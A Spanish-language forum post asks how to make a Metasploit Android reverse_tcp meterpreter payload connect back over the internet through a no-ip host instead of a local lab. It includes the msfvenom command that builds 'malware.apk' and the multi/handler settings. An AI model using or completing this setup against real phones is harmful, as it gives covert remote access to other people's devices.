Buenas, puesto que siempre he usado metasploit en red local con maquinas virtuales no se como usarlo fuera de dicha red, con otras herramientas he usado no-ip2 pero con metasploit asignando el host a lhost y escuchando con multi/handler no abre sesion
msfvenom -p android/meterpreter/reverse_tcp lhost=<host-noip2> lport=<puerto_NAT_abierto> -o /root/Escritorio/malware.apk
handler>>> set lhost <host-noip2>
handler>>> set lport <puerto>
handler>>> set payload android/meterpreter/reverse_tcp
handler>>> exploit
He leído en diferentes foros que debes cambiar lhost por srvhost o rhosts lo cual tampoco me da resultado alguno, en otros dicen que hay que indicar la IP publica ( https://foro.elhacker.net/bugs_y_exploits/seguridad_usando_metasploit_iquestvpnnoip-t458179.0.html;msg2093776;topicseen ) ¿Me podrían indicar como hacerlo correctamente? y en tal caso, ¿qué diferencia hay entre lhost, srvhost y rhosts?
Gracias por su tiempo